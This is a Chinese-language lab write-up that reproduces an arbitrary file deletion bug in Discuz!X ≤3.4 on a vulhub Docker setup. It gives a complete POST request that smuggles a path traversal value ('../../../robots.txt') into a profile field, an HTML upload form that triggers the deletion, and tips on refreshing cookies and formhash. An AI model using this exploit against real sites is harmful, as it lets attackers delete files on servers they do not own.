Discuz!X ≤3.4 任意文件删除漏洞
0x01.环境搭建
利用vulhub搭建漏洞环境
service docker start
docker-compose up -d
查看监听端口
docker-compose ps
安装时,只用修改数据库地址为db
,其他保持默认即可
0x02.漏洞介绍
影响版本:Discuz!X ≤3.4
0x03.漏洞复现
访问http://target_ip/robots.txt
可见robots.txt是存在的
注册用户后,在个人设置页面找到自己的formhash
带上自己的Cookie、formhash发送如下数据包
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: target_ip
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态
说明我们的脏数据已经进入数据库了。
然后,本地新建一个upload.html
,代码如下,将其中的[target_ip]
改成discuz的域名,[form-hash]
改成你的formhash
<body>
<form action="http://[target_ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
用浏览器打开该页面,上传一个正常图片。此时脏数据应该已被提取出,漏洞已经利用结束
再次访问http://your-ip/robots.txt
,发现文件成功被删除
0x04.一点坑
在图片上传那个阶段我上传时总是出现非法字符,已被拦截
的页面,后来我用burp抓了个包,更新了一下cookie再重发就好了
还有,formhash
是会变的,要及时更新